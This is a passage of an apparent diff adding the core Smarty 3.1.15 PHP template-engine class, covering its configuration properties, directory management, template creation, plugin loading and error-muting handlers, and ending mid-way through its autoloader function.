? 'UTF-8' : 'ISO-8859-1'); +} +if (!defined('SMARTY_RESOURCE_DATE_FORMAT')) { + /** + * @deprecated in favor of Smarty::$_DATE_FORMAT + */ + define('SMARTY_RESOURCE_DATE_FORMAT', '%b %e, %Y'); +} + +/** + * register the class autoloader + */ +if (!defined('SMARTY_SPL_AUTOLOAD')) { + define('SMARTY_SPL_AUTOLOAD', 0); +} + +if (SMARTY_SPL_AUTOLOAD && set_include_path(get_include_path() . PATH_SEPARATOR . SMARTY_SYSPLUGINS_DIR) !== false) { + $registeredAutoLoadFunctions = spl_autoload_functions(); + if (!isset($registeredAutoLoadFunctions['spl_autoload'])) { + spl_autoload_register(); + } +} else { + spl_autoload_register('smartyAutoload'); +} + +/** + * Load always needed external class files + */ +include_once SMARTY_SYSPLUGINS_DIR.'smarty_internal_data.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_internal_templatebase.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_internal_template.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_resource.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_internal_resource_file.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_cacheresource.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_internal_cacheresource_file.php'; + +/** + * This is the main Smarty class + * @package Smarty + */ +class Smarty extends Smarty_Internal_TemplateBase +{ + /**#@+ + * constant definitions + */ + + /** + * smarty version + */ + const SMARTY_VERSION = 'Smarty-3.1.15'; + + /** + * define variable scopes + */ + const SCOPE_LOCAL = 0; + const SCOPE_PARENT = 1; + const SCOPE_ROOT = 2; + const SCOPE_GLOBAL = 3; + /** + * define caching modes + */ + const CACHING_OFF = 0; + const CACHING_LIFETIME_CURRENT = 1; + const CACHING_LIFETIME_SAVED = 2; + /** + * define constant for clearing cache files be saved expiration datees + */ + const CLEAR_EXPIRED = -1; + + /** + * define compile check modes + */ + const COMPILECHECK_OFF = 0; + const COMPILECHECK_ON = 1; + const COMPILECHECK_CACHEMISS = 2; + /** + * modes for handling of "" tags in templates. + */ + const PHP_PASSTHRU = 0; //-> print tags as plain text + const PHP_QUOTE = 1; //-> escape tags as entities + const PHP_REMOVE = 2; //-> escape tags as entities + const PHP_ALLOW = 3; //-> escape tags as entities + /** + * filter types + */ + const FILTER_POST = 'post'; + const FILTER_PRE = 'pre'; + const FILTER_OUTPUT = 'output'; + const FILTER_VARIABLE = 'variable'; + /** + * plugin types + */ + const PLUGIN_FUNCTION = 'function'; + const PLUGIN_BLOCK = 'block'; + const PLUGIN_COMPILER = 'compiler'; + const PLUGIN_MODIFIER = 'modifier'; + const PLUGIN_MODIFIERCOMPILER = 'modifiercompiler'; + + /**#@-*/ + + /** + * assigned global tpl vars + */ + public static $global_tpl_vars = array(); + + /** + * error handler returned by set_error_hanlder() in Smarty::muteExpectedErrors() + */ + public static $_previous_error_handler = null; + /** + * contains directories outside of SMARTY_DIR that are to be muted by muteExpectedErrors() + */ + public static $_muted_directories = array(); + /** + * Flag denoting if Multibyte String functions are available + */ + public static $_MBSTRING = SMARTY_MBSTRING; + /** + * The character set to adhere to (e.g. "UTF-8") + */ + public static $_CHARSET = SMARTY_RESOURCE_CHAR_SET; + /** + * The date format to be used internally + * (accepts date() and strftime()) + */ + public static $_DATE_FORMAT = SMARTY_RESOURCE_DATE_FORMAT; + /** + * Flag denoting if PCRE should run in UTF-8 mode + */ + public static $_UTF8_MODIFIER = 'u'; + + /** + * Flag denoting if operating system is windows + */ + public static $_IS_WINDOWS = false; + + /**#@+ + * variables + */ + + /** + * auto literal on delimiters with whitspace + * @var boolean + */ + public $auto_literal = true; + /** + * display error on not assigned variables + * @var boolean + */ + public $error_unassigned = false; + /** + * look up relative filepaths in include_path + * @var boolean + */ + public $use_include_path = false; + /** + * template directory + * @var array + */ + private $template_dir = array(); + /** + * joined template directory string used in cache keys + * @var string + */ + public $joined_template_dir = null; + /** + * joined config directory string used in cache keys + * @var string + */ + public $joined_config_dir = null; + /** + * default template handler + * @var callable + */ + public $default_template_handler_func = null; + /** + * default config handler + * @var callable + */ + public $default_config_handler_func = null; + /** + * default plugin handler + * @var callable + */ + public $default_plugin_handler_func = null; + /** + * compile directory + * @var string + */ + private $compile_dir = null; + /** + * plugins directory + * @var array + */ + private $plugins_dir = array(); + /** + * cache directory + * @var string + */ + private $cache_dir = null; + /** + * config directory + * @var array + */ + private $config_dir = array(); + /** + * force template compiling? + * @var boolean + */ + public $force_compile = false; + /** + * check template for modifications? + * @var boolean + */ + public $compile_check = true; + /** + * use sub dirs for compiled/cached files? + * @var boolean + */ + public $use_sub_dirs = false; + /** + * allow ambiguous resources (that are made unique by the resource handler) + * @var boolean + */ + public $allow_ambiguous_resources = false; + /** + * caching enabled + * @var boolean + */ + public $caching = false; + /** + * merge compiled includes + * @var boolean + */ + public $merge_compiled_includes = false; + /** + * cache lifetime in seconds + * @var integer + */ + public $cache_lifetime = 3600; + /** + * force cache file creation + * @var boolean + */ + public $force_cache = false; + /** + * Set this if you want different sets of cache files for the same + * templates. + * + * @var string + */ + public $cache_id = null; + /** + * Set this if you want different sets of compiled files for the same + * templates. + * + * @var string + */ + public $compile_id = null; + /** + * template left-delimiter + * @var string + */ + public $left_delimiter = "{"; + /** + * template right-delimiter + * @var string + */ + public $right_delimiter = "}"; + /**#@+ + * security + */ + /** + * class name + * + * This should be instance of Smarty_Security. + * + * @var string + * @see Smarty_Security + */ + public $security_class = 'Smarty_Security'; + /** + * implementation of security class + * + * @var Smarty_Security + */ + public $security_policy = null; + /** + * controls handling of PHP-blocks + * + * @var integer + */ + public $php_handling = self::PHP_PASSTHRU; + /** + * controls if the php template file resource is allowed + * + * @var bool + */ + public $allow_php_templates = false; + /** + * Should compiled-templates be prevented from being called directly? + * + * {@internal + * Currently used by Smarty_Internal_Template only. + * }} + * + * @var boolean + */ + public $direct_access_security = true; + /**#@-*/ + /** + * debug mode + * + * Setting this to true enables the debug-console. + * + * @var boolean + */ + public $debugging = false; + /** + * This determines if debugging is enable-able from the browser. + *
    + *
  • NONE => no debugging control allowed
  • + *
  • URL => enable debugging when SMARTY_DEBUG is found in the URL.
  • + *
+ * @var string + */ + public $debugging_ctrl = 'NONE'; + /** + * Name of debugging URL-param. + * + * Only used when $debugging_ctrl is set to 'URL'. + * The name of the URL-parameter that activates debugging. + * + * @var type + */ + public $smarty_debug_id = 'SMARTY_DEBUG'; + /** + * Path of debug template. + * @var string + */ + public $debug_tpl = null; + /** + * When set, smarty uses this value as error_reporting-level. + * @var int + */ + public $error_reporting = null; + /** + * Internal flag for getTags() + * @var boolean + */ + public $get_used_tags = false; + + /**#@+ + * config var settings + */ + + /** + * Controls whether variables with the same name overwrite each other. + * @var boolean + */ + public $config_overwrite = true; + /** + * Controls whether config values of on/true/yes and off/false/no get converted to boolean. + * @var boolean + */ + public $config_booleanize = true; + /** + * Controls whether hidden config sections/vars are read from the file. + * @var boolean + */ + public $config_read_hidden = false; + + /**#@-*/ + + /**#@+ + * resource locking + */ + + /** + * locking concurrent compiles + * @var boolean + */ + public $compile_locking = true; + /** + * Controls whether cache resources should emply locking mechanism + * @var boolean + */ + public $cache_locking = false; + /** + * seconds to wait for acquiring a lock before ignoring the write lock + * @var float + */ + public $locking_timeout = 10; + + /**#@-*/ + + /** + * global template functions + * @var array + */ + public $template_functions = array(); + /** + * resource type used if none given + * + * Must be an valid key of $registered_resources. + * @var string + */ + public $default_resource_type = 'file'; + /** + * caching type + * + * Must be an element of $cache_resource_types. + * + * @var string + */ + public $caching_type = 'file'; + /** + * internal config properties + * @var array + */ + public $properties = array(); + /** + * config type + * @var string + */ + public $default_config_type = 'file'; + /** + * cached template objects + * @var array + */ + public $template_objects = array(); + /** + * check If-Modified-Since headers + * @var boolean + */ + public $cache_modified_check = false; + /** + * registered plugins + * @var array + */ + public $registered_plugins = array(); + /** + * plugin search order + * @var array + */ + public $plugin_search_order = array('function', 'block', 'compiler', 'class'); + /** + * registered objects + * @var array + */ + public $registered_objects = array(); + /** + * registered classes + * @var array + */ + public $registered_classes = array(); + /** + * registered filters + * @var array + */ + public $registered_filters = array(); + /** + * registered resources + * @var array + */ + public $registered_resources = array(); + /** + * resource handler cache + * @var array + */ + public $_resource_handlers = array(); + /** + * registered cache resources + * @var array + */ + public $registered_cache_resources = array(); + /** + * cache resource handler cache + * @var array + */ + public $_cacheresource_handlers = array(); + /** + * autoload filter + * @var array + */ + public $autoload_filters = array(); + /** + * default modifier + * @var array + */ + public $default_modifiers = array(); + /** + * autoescape variable output + * @var boolean + */ + public $escape_html = false; + /** + * global internal smarty vars + * @var array + */ + public static $_smarty_vars = array(); + /** + * start time for execution time calculation + * @var int + */ + public $start_time = 0; + /** + * default file permissions + * @var int + */ + public $_file_perms = 0644; + /** + * default dir permissions + * @var int + */ + public $_dir_perms = 0771; + /** + * block tag hierarchy + * @var array + */ + public $_tag_stack = array(); + /** + * self pointer to Smarty object + * @var Smarty + */ + public $smarty; + /** + * required by the compiler for BC + * @var string + */ + public $_current_file = null; + /** + * internal flag to enable parser debugging + * @var bool + */ + public $_parserdebug = false; + /** + * Saved parameter of merged templates during compilation + * + * @var array + */ + public $merged_templates_func = array(); + /**#@-*/ + + /** + * Initialize new Smarty object + * + */ + public function __construct() + { + // selfpointer needed by some other class methods + $this->smarty = $this; + if (is_callable('mb_internal_encoding')) { + mb_internal_encoding(Smarty::$_CHARSET); + } + $this->start_time = microtime(true); + // set default dirs + $this->setTemplateDir('.' . DS . 'templates' . DS) + ->setCompileDir('.' . DS . 'templates_c' . DS) + ->setPluginsDir(SMARTY_PLUGINS_DIR) + ->setCacheDir('.' . DS . 'cache' . DS) + ->setConfigDir('.' . DS . 'configs' . DS); + + $this->debug_tpl = 'file:' . dirname(__FILE__) . '/debug.tpl'; + if (isset($_SERVER['SCRIPT_NAME'])) { + $this->assignGlobal('SCRIPT_NAME', $_SERVER['SCRIPT_NAME']); + } + } + + /** + * Class destructor + */ + public function __destruct() + { + // intentionally left blank + } + + /** + * <> set selfpointer on cloned object + */ + public function __clone() + { + $this->smarty = $this; + } + + /** + * <> Generic getter. + * + * Calls the appropriate getter function. + * Issues an E_USER_NOTICE if no valid getter is found. + * + * @param string $name property name + * @return mixed + */ + public function __get($name) + { + $allowed = array( + 'template_dir' => 'getTemplateDir', + 'config_dir' => 'getConfigDir', + 'plugins_dir' => 'getPluginsDir', + 'compile_dir' => 'getCompileDir', + 'cache_dir' => 'getCacheDir', + ); + + if (isset($allowed[$name])) { + return $this->{$allowed[$name]}(); + } else { + trigger_error('Undefined property: '. get_class($this) .'::$'. $name, E_USER_NOTICE); + } + } + + /** + * <> Generic setter. + * + * Calls the appropriate setter function. + * Issues an E_USER_NOTICE if no valid setter is found. + * + * @param string $name property name + * @param mixed $value parameter passed to setter + */ + public function __set($name, $value) + { + $allowed = array( + 'template_dir' => 'setTemplateDir', + 'config_dir' => 'setConfigDir', + 'plugins_dir' => 'setPluginsDir', + 'compile_dir' => 'setCompileDir', + 'cache_dir' => 'setCacheDir', + ); + + if (isset($allowed[$name])) { + $this->{$allowed[$name]}($value); + } else { + trigger_error('Undefined property: ' . get_class($this) . '::$' . $name, E_USER_NOTICE); + } + } + + /** + * Check if a template resource exists + * + * @param string $resource_name template name + * @return boolean status + */ + public function templateExists($resource_name) + { + // create template object + $save = $this->template_objects; + $tpl = new $this->template_class($resource_name, $this); + // check if it does exists + $result = $tpl->source->exists; + $this->template_objects = $save; + + return $result; + } + + /** + * Returns a single or all global variables + * + * @param object $smarty + * @param string $varname variable name or null + * @return string variable value or or array of variables + */ + public function getGlobal($varname = null) + { + if (isset($varname)) { + if (isset(self::$global_tpl_vars[$varname])) { + return self::$global_tpl_vars[$varname]->value; + } else { + return ''; + } + } else { + $_result = array(); + foreach (self::$global_tpl_vars AS $key => $var) { + $_result[$key] = $var->value; + } + + return $_result; + } + } + + /** + * Empty cache folder + * + * @param integer $exp_time expiration time + * @param string $type resource type + * @return integer number of cache files deleted + */ + public function clearAllCache($exp_time = null, $type = null) + { + // load cache resource and call clearAll + $_cache_resource = Smarty_CacheResource::load($this, $type); + Smarty_CacheResource::invalidLoadedCache($this); + + return $_cache_resource->clearAll($this, $exp_time); + } + + /** + * Empty cache for a specific template + * + * @param string $template_name template name + * @param string $cache_id cache id + * @param string $compile_id compile id + * @param integer $exp_time expiration time + * @param string $type resource type + * @return integer number of cache files deleted + */ + public function clearCache($template_name, $cache_id = null, $compile_id = null, $exp_time = null, $type = null) + { + // load cache resource and call clear + $_cache_resource = Smarty_CacheResource::load($this, $type); + Smarty_CacheResource::invalidLoadedCache($this); + + return $_cache_resource->clear($this, $template_name, $cache_id, $compile_id, $exp_time); + } + + /** + * Loads security class and enables security + * + * @param string|Smarty_Security $security_class if a string is used, it must be class-name + * @return Smarty current Smarty instance for chaining + * @throws SmartyException when an invalid class name is provided + */ + public function enableSecurity($security_class = null) + { + if ($security_class instanceof Smarty_Security) { + $this->security_policy = $security_class; + + return $this; + } elseif (is_object($security_class)) { + throw new SmartyException("Class '" . get_class($security_class) . "' must extend Smarty_Security."); + } + if ($security_class == null) { + $security_class = $this->security_class; + } + if (!class_exists($security_class)) { + throw new SmartyException("Security class '$security_class' is not defined"); + } elseif ($security_class !== 'Smarty_Security' && !is_subclass_of($security_class, 'Smarty_Security')) { + throw new SmartyException("Class '$security_class' must extend Smarty_Security."); + } else { + $this->security_policy = new $security_class($this); + } + + return $this; + } + + /** + * Disable security + * @return Smarty current Smarty instance for chaining + */ + public function disableSecurity() + { + $this->security_policy = null; + + return $this; + } + + /** + * Set template directory + * + * @param string|array $template_dir directory(s) of template sources + * @return Smarty current Smarty instance for chaining + */ + public function setTemplateDir($template_dir) + { + $this->template_dir = array(); + foreach ((array) $template_dir as $k => $v) { + $this->template_dir[$k] = rtrim($v, '/\\') . DS; + } + + $this->joined_template_dir = join(DIRECTORY_SEPARATOR, $this->template_dir); + + return $this; + } + + /** + * Add template directory(s) + * + * @param string|array $template_dir directory(s) of template sources + * @param string $key of the array element to assign the template dir to + * @return Smarty current Smarty instance for chaining + * @throws SmartyException when the given template directory is not valid + */ + public function addTemplateDir($template_dir, $key=null) + { + // make sure we're dealing with an array + $this->template_dir = (array) $this->template_dir; + + if (is_array($template_dir)) { + foreach ($template_dir as $k => $v) { + if (is_int($k)) { + // indexes are not merged but appended + $this->template_dir[] = rtrim($v, '/\\') . DS; + } else { + // string indexes are overridden + $this->template_dir[$k] = rtrim($v, '/\\') . DS; + } + } + } elseif ($key !== null) { + // override directory at specified index + $this->template_dir[$key] = rtrim($template_dir, '/\\') . DS; + } else { + // append new directory + $this->template_dir[] = rtrim($template_dir, '/\\') . DS; + } + $this->joined_template_dir = join(DIRECTORY_SEPARATOR, $this->template_dir); + + return $this; + } + + /** + * Get template directories + * + * @param mixed index of directory to get, null to get all + * @return array|string list of template directories, or directory of $index + */ + public function getTemplateDir($index=null) + { + if ($index !== null) { + return isset($this->template_dir[$index]) ? $this->template_dir[$index] : null; + } + + return (array) $this->template_dir; + } + + /** + * Set config directory + * + * @param string|array $template_dir directory(s) of configuration sources + * @return Smarty current Smarty instance for chaining + */ + public function setConfigDir($config_dir) + { + $this->config_dir = array(); + foreach ((array) $config_dir as $k => $v) { + $this->config_dir[$k] = rtrim($v, '/\\') . DS; + } + + $this->joined_config_dir = join(DIRECTORY_SEPARATOR, $this->config_dir); + + return $this; + } + + /** + * Add config directory(s) + * + * @param string|array $config_dir directory(s) of config sources + * @param string key of the array element to assign the config dir to + * @return Smarty current Smarty instance for chaining + */ + public function addConfigDir($config_dir, $key=null) + { + // make sure we're dealing with an array + $this->config_dir = (array) $this->config_dir; + + if (is_array($config_dir)) { + foreach ($config_dir as $k => $v) { + if (is_int($k)) { + // indexes are not merged but appended + $this->config_dir[] = rtrim($v, '/\\') . DS; + } else { + // string indexes are overridden + $this->config_dir[$k] = rtrim($v, '/\\') . DS; + } + } + } elseif ($key !== null) { + // override directory at specified index + $this->config_dir[$key] = rtrim($config_dir, '/\\') . DS; + } else { + // append new directory + $this->config_dir[] = rtrim($config_dir, '/\\') . DS; + } + + $this->joined_config_dir = join(DIRECTORY_SEPARATOR, $this->config_dir); + + return $this; + } + + /** + * Get config directory + * + * @param mixed index of directory to get, null to get all + * @return array|string configuration directory + */ + public function getConfigDir($index=null) + { + if ($index !== null) { + return isset($this->config_dir[$index]) ? $this->config_dir[$index] : null; + } + + return (array) $this->config_dir; + } + + /** + * Set plugins directory + * + * @param string|array $plugins_dir directory(s) of plugins + * @return Smarty current Smarty instance for chaining + */ + public function setPluginsDir($plugins_dir) + { + $this->plugins_dir = array(); + foreach ((array) $plugins_dir as $k => $v) { + $this->plugins_dir[$k] = rtrim($v, '/\\') . DS; + } + + return $this; + } + + /** + * Adds directory of plugin files + * + * @param object $smarty + * @param string $ |array $ plugins folder + * @return Smarty current Smarty instance for chaining + */ + public function addPluginsDir($plugins_dir) + { + // make sure we're dealing with an array + $this->plugins_dir = (array) $this->plugins_dir; + + if (is_array($plugins_dir)) { + foreach ($plugins_dir as $k => $v) { + if (is_int($k)) { + // indexes are not merged but appended + $this->plugins_dir[] = rtrim($v, '/\\') . DS; + } else { + // string indexes are overridden + $this->plugins_dir[$k] = rtrim($v, '/\\') . DS; + } + } + } else { + // append new directory + $this->plugins_dir[] = rtrim($plugins_dir, '/\\') . DS; + } + + $this->plugins_dir = array_unique($this->plugins_dir); + + return $this; + } + + /** + * Get plugin directories + * + * @return array list of plugin directories + */ + public function getPluginsDir() + { + return (array) $this->plugins_dir; + } + + /** + * Set compile directory + * + * @param string $compile_dir directory to store compiled templates in + * @return Smarty current Smarty instance for chaining + */ + public function setCompileDir($compile_dir) + { + $this->compile_dir = rtrim($compile_dir, '/\\') . DS; + if (!isset(Smarty::$_muted_directories[$this->compile_dir])) { + Smarty::$_muted_directories[$this->compile_dir] = null; + } + + return $this; + } + + /** + * Get compiled directory + * + * @return string path to compiled templates + */ + public function getCompileDir() + { + return $this->compile_dir; + } + + /** + * Set cache directory + * + * @param string $cache_dir directory to store cached templates in + * @return Smarty current Smarty instance for chaining + */ + public function setCacheDir($cache_dir) + { + $this->cache_dir = rtrim($cache_dir, '/\\') . DS; + if (!isset(Smarty::$_muted_directories[$this->cache_dir])) { + Smarty::$_muted_directories[$this->cache_dir] = null; + } + + return $this; + } + + /** + * Get cache directory + * + * @return string path of cache directory + */ + public function getCacheDir() + { + return $this->cache_dir; + } + + /** + * Set default modifiers + * + * @param array|string $modifiers modifier or list of modifiers to set + * @return Smarty current Smarty instance for chaining + */ + public function setDefaultModifiers($modifiers) + { + $this->default_modifiers = (array) $modifiers; + + return $this; + } + + /** + * Add default modifiers + * + * @param array|string $modifiers modifier or list of modifiers to add + * @return Smarty current Smarty instance for chaining + */ + public function addDefaultModifiers($modifiers) + { + if (is_array($modifiers)) { + $this->default_modifiers = array_merge($this->default_modifiers, $modifiers); + } else { + $this->default_modifiers[] = $modifiers; + } + + return $this; + } + + /** + * Get default modifiers + * + * @return array list of default modifiers + */ + public function getDefaultModifiers() + { + return $this->default_modifiers; + } + + + /** + * Set autoload filters + * + * @param array $filters filters to load automatically + * @param string $type "pre", "output", … specify the filter type to set. Defaults to none treating $filters' keys as the appropriate types + * @return Smarty current Smarty instance for chaining + */ + public function setAutoloadFilters($filters, $type=null) + { + if ($type !== null) { + $this->autoload_filters[$type] = (array) $filters; + } else { + $this->autoload_filters = (array) $filters; + } + + return $this; + } + + /** + * Add autoload filters + * + * @param array $filters filters to load automatically + * @param string $type "pre", "output", … specify the filter type to set. Defaults to none treating $filters' keys as the appropriate types + * @return Smarty current Smarty instance for chaining + */ + public function addAutoloadFilters($filters, $type=null) + { + if ($type !== null) { + if (!empty($this->autoload_filters[$type])) { + $this->autoload_filters[$type] = array_merge($this->autoload_filters[$type], (array) $filters); + } else { + $this->autoload_filters[$type] = (array) $filters; + } + } else { + foreach ((array) $filters as $key => $value) { + if (!empty($this->autoload_filters[$key])) { + $this->autoload_filters[$key] = array_merge($this->autoload_filters[$key], (array) $value); + } else { + $this->autoload_filters[$key] = (array) $value; + } + } + } + + return $this; + } + + /** + * Get autoload filters + * + * @param string $type type of filter to get autoloads for. Defaults to all autoload filters + * @return array array( 'type1' => array( 'filter1', 'filter2', … ) ) or array( 'filter1', 'filter2', …) if $type was specified + */ + public function getAutoloadFilters($type=null) + { + if ($type !== null) { + return isset($this->autoload_filters[$type]) ? $this->autoload_filters[$type] : array(); + } + + return $this->autoload_filters; + } + + /** + * return name of debugging template + * + * @return string + */ + public function getDebugTemplate() + { + return $this->debug_tpl; + } + + /** + * set the debug template + * + * @param string $tpl_name + * @return Smarty current Smarty instance for chaining + * @throws SmartyException if file is not readable + */ + public function setDebugTemplate($tpl_name) + { + if (!is_readable($tpl_name)) { + throw new SmartyException("Unknown file '{$tpl_name}'"); + } + $this->debug_tpl = $tpl_name; + + return $this; + } + + /** + * creates a template object + * + * @param string $template the resource handle of the template file + * @param mixed $cache_id cache id to be used with this template + * @param mixed $compile_id compile id to be used with this template + * @param object $parent next higher level of Smarty variables + * @param boolean $do_clone flag is Smarty object shall be cloned + * @return object template object + */ + public function createTemplate($template, $cache_id = null, $compile_id = null, $parent = null, $do_clone = true) + { + if (!empty($cache_id) && (is_object($cache_id) || is_array($cache_id))) { + $parent = $cache_id; + $cache_id = null; + } + if (!empty($parent) && is_array($parent)) { + $data = $parent; + $parent = null; + } else { + $data = null; + } + // default to cache_id and compile_id of Smarty object + $cache_id = $cache_id === null ? $this->cache_id : $cache_id; + $compile_id = $compile_id === null ? $this->compile_id : $compile_id; + // already in template cache? + if ($this->allow_ambiguous_resources) { + $_templateId = Smarty_Resource::getUniqueTemplateName($this, $template) . $cache_id . $compile_id; + } else { + $_templateId = $this->joined_template_dir . '#' . $template . $cache_id . $compile_id; + } + if (isset($_templateId[150])) { + $_templateId = sha1($_templateId); + } + if ($do_clone) { + if (isset($this->template_objects[$_templateId])) { + // return cached template object + $tpl = clone $this->template_objects[$_templateId]; + $tpl->smarty = clone $tpl->smarty; + $tpl->parent = $parent; + $tpl->tpl_vars = array(); + $tpl->config_vars = array(); + } else { + $tpl = new $this->template_class($template, clone $this, $parent, $cache_id, $compile_id); + } + } else { + if (isset($this->template_objects[$_templateId])) { + // return cached template object + $tpl = $this->template_objects[$_templateId]; + $tpl->parent = $parent; + $tpl->tpl_vars = array(); + $tpl->config_vars = array(); + } else { + $tpl = new $this->template_class($template, $this, $parent, $cache_id, $compile_id); + } + } + // fill data if present + if (!empty($data) && is_array($data)) { + // set up variable values + foreach ($data as $_key => $_val) { + $tpl->tpl_vars[$_key] = new Smarty_variable($_val); + } + } + + return $tpl; + } + + + /** + * Takes unknown classes and loads plugin files for them + * class name format: Smarty_PluginType_PluginName + * plugin filename format: plugintype.pluginname.php + * + * @param string $plugin_name class plugin name to load + * @param bool $check check if already loaded + * @return string |boolean filepath of loaded file or false + */ + public function loadPlugin($plugin_name, $check = true) + { + // if function or class exists, exit silently (already loaded) + if ($check && (is_callable($plugin_name) || class_exists($plugin_name, false))) { + return true; + } + // Plugin name is expected to be: Smarty_[Type]_[Name] + $_name_parts = explode('_', $plugin_name, 3); + // class name must have three parts to be valid plugin + // count($_name_parts) < 3 === !isset($_name_parts[2]) + if (!isset($_name_parts[2]) || strtolower($_name_parts[0]) !== 'smarty') { + throw new SmartyException("plugin {$plugin_name} is not a valid name format"); + + return false; + } + // if type is "internal", get plugin from sysplugins + if (strtolower($_name_parts[1]) == 'internal') { + $file = SMARTY_SYSPLUGINS_DIR . strtolower($plugin_name) . '.php'; + if (file_exists($file)) { + require_once($file); + + return $file; + } else { + return false; + } + } + // plugin filename is expected to be: [type].[name].php + $_plugin_filename = "{$_name_parts[1]}.{$_name_parts[2]}.php"; + + $_stream_resolve_include_path = function_exists('stream_resolve_include_path'); + + // loop through plugin dirs and find the plugin + foreach ($this->getPluginsDir() as $_plugin_dir) { + $names = array( + $_plugin_dir . $_plugin_filename, + $_plugin_dir . strtolower($_plugin_filename), + ); + foreach ($names as $file) { + if (file_exists($file)) { + require_once($file); + + return $file; + } + if ($this->use_include_path && !preg_match('/^([\/\\\\]|[a-zA-Z]:[\/\\\\])/', $_plugin_dir)) { + // try PHP include_path + if ($_stream_resolve_include_path) { + $file = stream_resolve_include_path($file); + } else { + $file = Smarty_Internal_Get_Include_Path::getIncludePath($file); + } + + if ($file !== false) { + require_once($file); + + return $file; + } + } + } + } + // no plugin loaded + return false; + } + + /** + * Compile all template files + * + * @param string $extension file extension + * @param bool $force_compile force all to recompile + * @param int $time_limit + * @param int $max_errors + * @return integer number of template files recompiled + */ + public function compileAllTemplates($extension = '.tpl', $force_compile = false, $time_limit = 0, $max_errors = null) + { + return Smarty_Internal_Utility::compileAllTemplates($extension, $force_compile, $time_limit, $max_errors, $this); + } + + /** + * Compile all config files + * + * @param string $extension file extension + * @param bool $force_compile force all to recompile + * @param int $time_limit + * @param int $max_errors + * @return integer number of template files recompiled + */ + public function compileAllConfig($extension = '.conf', $force_compile = false, $time_limit = 0, $max_errors = null) + { + return Smarty_Internal_Utility::compileAllConfig($extension, $force_compile, $time_limit, $max_errors, $this); + } + + /** + * Delete compiled template file + * + * @param string $resource_name template name + * @param string $compile_id compile id + * @param integer $exp_time expiration time + * @return integer number of template files deleted + */ + public function clearCompiledTemplate($resource_name = null, $compile_id = null, $exp_time = null) + { + return Smarty_Internal_Utility::clearCompiledTemplate($resource_name, $compile_id, $exp_time, $this); + } + + + /** + * Return array of tag/attributes of all tags used by an template + * + * @param object $templae template object + * @return array of tag/attributes + */ + public function getTags(Smarty_Internal_Template $template) + { + return Smarty_Internal_Utility::getTags($template); + } + + /** + * Run installation test + * + * @param array $errors Array to write errors into, rather than outputting them + * @return boolean true if setup is fine, false if something is wrong + */ + public function testInstall(&$errors=null) + { + return Smarty_Internal_Utility::testInstall($this, $errors); + } + + /** + * Error Handler to mute expected messages + * + * @link http://php.net/set_error_handler + * @param integer $errno Error level + * @return boolean + */ + public static function mutingErrorHandler($errno, $errstr, $errfile, $errline, $errcontext) + { + $_is_muted_directory = false; + + // add the SMARTY_DIR to the list of muted directories + if (!isset(Smarty::$_muted_directories[SMARTY_DIR])) { + $smarty_dir = realpath(SMARTY_DIR); + if ($smarty_dir !== false) { + Smarty::$_muted_directories[SMARTY_DIR] = array( + 'file' => $smarty_dir, + 'length' => strlen($smarty_dir), + ); + } + } + + // walk the muted directories and test against $errfile + foreach (Smarty::$_muted_directories as $key => &$dir) { + if (!$dir) { + // resolve directory and length for speedy comparisons + $file = realpath($key); + if ($file === false) { + // this directory does not exist, remove and skip it + unset(Smarty::$_muted_directories[$key]); + continue; + } + $dir = array( + 'file' => $file, + 'length' => strlen($file), + ); + } + if (!strncmp($errfile, $dir['file'], $dir['length'])) { + $_is_muted_directory = true; + break; + } + } + + // pass to next error handler if this error did not occur inside SMARTY_DIR + // or the error was within smarty but masked to be ignored + if (!$_is_muted_directory || ($errno && $errno & error_reporting())) { + if (Smarty::$_previous_error_handler) { + return call_user_func(Smarty::$_previous_error_handler, $errno, $errstr, $errfile, $errline, $errcontext); + } else { + return false; + } + } + } + + /** + * Enable error handler to mute expected messages + * + * @return void + */ + public static function muteExpectedErrors() + { + /* + error muting is done because some people implemented custom error_handlers using + http://php.net/set_error_handler and for some reason did not understand the following paragraph: + + It is important to remember that the standard PHP error handler is completely bypassed for the + error types specified by error_types unless the callback function returns FALSE. + error_reporting() settings will have no effect and your error handler will be called regardless - + however you are still able to read the current value of error_reporting and act appropriately. + Of particular note is that this value will be 0 if the statement that caused the error was + prepended by the @ error-control operator. + + Smarty deliberately uses @filemtime() over file_exists() and filemtime() in some places. Reasons include + - @filemtime() is almost twice as fast as using an additional file_exists() + - between file_exists() and filemtime() a possible race condition is opened, + which does not exist using the simple @filemtime() approach. + */ + $error_handler = array('Smarty', 'mutingErrorHandler'); + $previous = set_error_handler($error_handler); + + // avoid dead loops + if ($previous !== $error_handler) { + Smarty::$_previous_error_handler = $previous; + } + } + + /** + * Disable error handler muting expected messages + * + * @return void + */ + public static function unmuteExpectedErrors() + { + restore_error_handler(); + } +} + +// Check if we're running on windows +Smarty::$_IS_WINDOWS = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; + +// let PCRE (preg_*) treat strings as ISO-8859-1 if we're not dealing with UTF-8 +if (Smarty::$_CHARSET !== 'UTF-8') { + Smarty::$_UTF8_MODIFIER = ''; +} + +/** + * Smarty exception class + * @package Smarty + */ +class SmartyException extends Exception +{ + public static $escape = false; + + public function __toString() + { + return ' --> Smarty: ' . (self::$escape ? htmlentities($this->message) : $this->message) . ' <-- '; + } +} + +/** + * Smarty compiler exception class + * @package Smarty + */ +class SmartyCompilerException extends SmartyException +{ + public function __toString() + { + return ' --> Smarty Compiler: ' . $this->message . ' <-- '; + } + /** + * The line number of the template error + * @type int|null + */ + public $line = null; + /** + * The template source snippet relating to the error + * @type string|null + */ + public $source = null; + /** + * The raw text of the error message + * @type string|null + */ + public $desc = null; + /** + * The resource identifier or template name + * @type string|null + */ + public $template = null; +} + +/** + * Autoloader + */ +function smartyAutoload($class) +{ + $_class = strtolower($class); + static $_classes = array( + 'smarty_config_source' => true, + 'smarty_config_compiled' => true, + 'smarty_security' => true, + 'smarty_cacheresource' => true, + 'smarty_cacheresource_custom' => true, + 'smarty_cacheresource_keyvaluestore' => true, + 'smarty_resource' => true, + 'smarty_resource_custom' => true, + 'smarty_resource_uncompiled' => true, + 'smarty_resource_recompiled' => true, + ); + + if (!strncmp($_class, 'smarty_internal_', 16) || isset($_classes[$_class])) { + include SMARTY_SYSPLUGINS_DIR . $_class . '.php'; + 